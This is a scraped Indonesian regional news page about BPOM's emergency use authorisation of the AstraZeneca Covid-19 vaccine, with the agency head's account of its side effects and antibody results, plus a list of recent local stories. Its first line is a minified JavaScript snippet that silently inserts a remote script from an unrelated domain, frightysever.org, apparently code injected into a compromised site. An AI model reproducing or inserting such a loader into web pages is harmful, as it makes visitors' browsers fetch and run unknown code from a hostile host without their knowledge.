(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Dapat Izin BPOM, Ini Sederet Efek Samping Vaksin Covid-19 AstraZeneca


KANALKALIMANTAN.COM – Badan Pengawas Obat dan Makanan atau BPOM RI telah menerbitkan izin penggunaan darurat atau Emergency Use Authorization (EUA) vaksin Covid-19 buatan AstraZeneca pada 22 Februari 2021 lalu.

EUA diberikan setelah BPOM mengevaluasi data hasil uji klinis sementara, yang dinyatakan aman di negara tempat uji klinis dilaksanakan yakni Brasil, Inggris, dan Afrikan Selatan dengan total 23.745 subjek berusia 18 tahun ke atas.

Meski begitu, Kepala BPOM RI Penny K. Lukito mengakui adanya beberapa efek samping vaksinasi AstraZeneca. Namun efek samping yang dilaporkan masih dalam kategori ringan dan sedang.

“Dan yang paling sering dilaporkan adalah, reaksi lokal seperti tendon (pegal-pagal), nyeri pada saat ditekan, nyeri gatal, kemerahaan, dan pembengkakan,” ujar Penny dalam konferensi pers, Selasa (9/3/2021).

 

Baca juga: Akhir Negosiasi Panjang Relokasi Pasar Bauntung, Ratusan PKL Subuh Akhirnya Pindah

Kata Penny, efek samping tersebut merupakan reaksi lokal yang sangat umum dan paling sering ditemukan di semua proses vaksinasi Covid-19, termasuk vaksin Covid-19 buatan Sinovac.

Selanjutnya kata Penny, ada juga reaksi sistemik atau yang berdampak pada kinerja sistem tubuh vaksinasi AstraZeneca.

“Reaksi sistemik yang ringan, seperti kelelahan, sakit kepala nyeri otot, meriang, nyeri, sendi, mual, demam dan muntah,” terang Penny.

Meski memiliki efek samping, Penny mengatakan dibanding efek sampingnya, khasiat yang didapatkan dari vaksin Covid-19 lebih tinggi karena terbukti ampuh merangsang antibodi untuk melawan infeksi Covid-19 sebesar 62,1 persen.

Baik untuk subyek berusia 18 hingga 60 tahun, hingga subyek berusia 60 tahun ke atas atau lansia. Antibodi ini terbentuk setelah 15 hari usai 2 dosis standar diberikan, dan subyek dipantau selama 2 bulan.

“Dengan rata-rata titer (kadar) antibodinya setelah dosis kedua, dewasa usia 18 hingga 60 tahun, adalah peningkatan 32 kali. Sedangkan lansia di usia di atas 60 tahun 21 kali,” pungkas Penny. (suara.com)


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

13 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

16 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

18 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

20 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

22 jam ago

This website uses cookies.